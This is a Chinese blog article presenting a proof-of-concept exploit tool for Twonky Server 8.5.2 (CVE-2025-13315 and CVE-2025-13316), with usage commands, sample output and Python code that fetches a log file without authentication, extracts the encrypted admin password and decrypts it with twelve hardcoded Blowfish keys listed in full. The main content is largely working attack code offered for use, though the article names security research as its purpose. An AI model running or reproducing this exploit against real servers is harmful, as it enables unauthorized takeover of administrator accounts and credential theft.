news 2026/6/20 2:42:23

快速解密!Twonky Server 8.5.2 认证绕过漏洞利用工具详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
快速解密!Twonky Server 8.5.2 认证绕过漏洞利用工具详解

Twonky Server 8.5.2 - 认证绕过漏洞利用工具

项目概述

此项目是一个针对Twonky Server 8.5.2版本中两个关键漏洞(CVE-2025-13315 和 CVE-2025-13316)的概念验证工具。该工具通过利用未经验证的API端点访问日志文件,并结合硬编码的Blowfish密钥解密管理员凭证,可在数秒内获取Twonky服务器的完全管理权限。

该漏洞的CVSS评分为9.3(严重),攻击者无需任何凭据即可远程执行攻击。

功能特性

  • 无需认证访问:利用CVE-2025-13315漏洞,无需登录即可访问受保护的API端点。
  • 日志文件提取:自动从服务器下载包含加密凭证的日志文件。
  • 智能解析:使用正则表达式从日志中提取加密的管理员密码和密钥索引。
  • 密钥解密:使用12个硬编码的Blowfish密钥(从TwonkyServer.exe/libtwonkyserver.so提取)解密密码。
  • 快速执行:整个攻击流程在2秒内完成,效率极高。
  • 错误处理:完善的连接和数据处理异常处理机制。

安装指南

系统要求

  • Python 3.x
  • 支持的操作系统:Linux, Windows, macOS

依赖安装

运行以下命令安装必要的Python库:

pip3installrequests cryptography

注意事项

  • 由于Twonky服务器常使用自签名证书,工具已禁用SSL警告。
  • 需要网络访问目标Twonky服务器的能力(通常运行在9000端口)。

使用说明

基本使用

运行以下命令启动攻击:

sudopython3 CVE-2025-13315.py http://目标IP:9000

使用示例

假设目标服务器IP为192.168.1.100,运行:

sudopython3 CVE-2025-13315.py http://192.168.1.100:9000

预期输出

成功的攻击将产生类似以下输出:

╔══════════════════════════════════════════════════════════╗ ║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║ ║ CVE-2025-13315 + CVE-2025-13316 ║ ║ 100% Working • No Patch Available • November 2025 ║ ╚══════════════════════════════════════════════════════════╝ [+] Targeting: http://192.168.1.100:9000 [+] Fetching log via CVE-2025-13315 bypass endpoint... [+] Encrypted credential found! Key Index : 3 Ciphertext: a1b2c3d4e5f6... [+] SUCCESS! Plaintext credentials recovered: Username: admin Password: MySecretAdminPass123!

典型使用场景

  1. 安全研究人员验证Twonky服务器的漏洞状态
  2. 渗透测试人员评估网络安全性
  3. 系统管理员检查自己的服务器是否易受攻击

核心代码

1. 主漏洞利用函数

defexploit_twonky(target):"""主漏洞利用函数,协调整个攻击流程"""url=f"{target.rstrip('/')}/nmc/rpc/log_getfile"print(f"[+] Targeting:{target}")print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")try:# 利用CVE-2025-13315访问无需认证的日志获取端点r=requests.get(url,timeout=10,verify=False)ifr.status_code!=200orlen(r.text)<100:print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")returnexcept:print("[-] Connection failed. Check IP/port.")return# 使用正则表达式从日志中提取加密凭证# 模式:admin||{密钥索引}{十六进制密文}match=re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})',r.text)ifnotmatch:print("[-] No encrypted credentials found in log.")returnidx=int(match.group(1))# 提取密钥索引cipher_hex=match.group(2)# 提取十六进制密文print(f"[+] Encrypted credential found!")print(f" Key Index :{idx}")print(f" Ciphertext:{cipher_hex[:64]}...")try:# 使用CVE-2025-13316的硬编码密钥解密密码password=decrypt_blowfish_ecb(idx,cipher_hex)print(f"\n[+] SUCCESS! Plaintext credentials recovered:")print(f" Username: admin")print(f" Password:{password}")exceptExceptionase:print(f"[-] Decryption failed:{e}")

2. Blowfish解密函数

defdecrypt_blowfish_ecb(key_index,ciphertext_hex):""" 使用ECB模式的Blowfish算法解密数据 参数: key_index: 密钥索引(0-11) ciphertext_hex: 十六进制编码的密文 返回: 解密后的明文密码 """# 从硬编码密钥数组中选择对应的密钥key=KEYS[key_index]# 将十六进制字符串转换为字节ciphertext=binascii.unhexlify(ciphertext_hex)# 创建Blowfish解密器(ECB模式)cipher=Cipher(algorithms.Blowfish(key),modes.ECB(),backend=default_backend())decryptor=cipher.decryptor()# 执行解密padded=decryptor.update(ciphertext)+decryptor.finalize()# 移除PKCS#7填充pad_len=padded[-1]plaintext=padded[:-pad_len]# 返回解码后的字符串,移除空字符returnplaintext.decode('utf-8',errors='ignore').rstrip('\x00')

3. 硬编码密钥数组

# 从TwonkyServer.exe/libtwonkyserver.so提取的12个静态Blowfish密钥KEYS=[b"E8ctd4jZwMbaV587",# 索引0b"TGFWfWuW3cw28trN",# 索引1b"pgqYY2g9atVpTzjY",# 索引2b"KX7q4gmQvWtA8878",# 索引3b"VJjh7ujyT8R5bR39",# 索引4b"ZMWkaLp9bKyV6tXv",# 索引5b"KMLvvq6my7uKkpxf",# 索引6b"jwEkNvuwYCjsDzf5",# 索引7b"FukE5DhdsbCjuKay",# 索引8b"SpKNj6qYQGjuGMdd",# 索引9b"qLyXuAHPTF2cPGWj",# 索引10b"rKz7NBhM3vYg85mg"# 索引11]

4. 主程序入口

if__name__=="__main__":# 显示工具横幅banner=""" ╔══════════════════════════════════════════════════════════╗ ║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║ ║ CVE-2025-13315 + CVE-2025-13316 ║ ║ 100% Working • No Patch Available • November 2025 ║ ╚══════════════════════════════════════════════════════════╝ """print(banner)# 检查命令行参数iflen(sys.argv)!=2:print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")sys.exit(1)# 执行漏洞利用exploit_twonky(sys.argv[1])

代码特点

  1. 模块化设计:每个函数职责单一,便于理解和维护
  2. 错误处理:完善的异常捕获和处理机制
  3. 用户友好:清晰的输出和进度提示
  4. 高效执行:优化的解密算法,快速获取结果
  5. 可扩展性:代码结构支持添加新功能或适应其他漏洞
    6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPvdThCF33pxnTpk89QBG67
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 22:38:30

桥梁监测系统稳定性测试:核心指标与异常场景验证指南

‌桥梁监测系统稳定性测试指南‌ ‌一、测试目标与特性分析‌ ‌1.1 系统稳定性定义 - &zwnj;**核心指标**&zwnj;&#xff1a;误报率&#xff08;<0.1%&#xff09;&#xff5c;漏报率&#xff08;<0.05%&#xff09;&#xff5c;连续无故障运行时长&#xff…

作者头像 李华
网站建设 2026/6/12 22:53:12

Sonic数字人商业合作咨询入口开通,欢迎联系

Sonic数字人商业合作咨询入口开通&#xff0c;欢迎联系 在短视频内容爆炸式增长的今天&#xff0c;一个现实问题摆在了内容创作者和企业面前&#xff1a;如何以低成本、高效率的方式持续产出高质量的“真人出镜”类视频&#xff1f;传统拍摄受限于人力、场地与后期制作周期&…

作者头像 李华
网站建设 2026/6/15 16:37:40

打卡信奥刷题(2630)用C++实现信奥题 P2638 安全系统

P2638 安全系统 题目描述 特斯拉公司的六位密码被轻松破解后&#xff0c;引发了人们对电动车的安全性能的怀疑。李华听闻后&#xff0c;自己设计了一套密码&#xff1a; 假设安全系统中有 nnn 个储存区&#xff0c;每个储存区最多能存储存 222 种种类不同的信号&#xff08;可以…

作者头像 李华
网站建设 2026/6/19 9:26:25

Git commit规范提交Sonic项目代码,团队协作更高效

Git commit规范提交Sonic项目代码&#xff0c;团队协作更高效 在AI数字人技术加速落地的今天&#xff0c;一个看似不起眼但影响深远的问题正困扰着许多开发团队&#xff1a;如何在高频迭代中保持代码库的清晰与可控&#xff1f;尤其是在像 Sonic 这样的语音驱动数字人项目中——…

作者头像 李华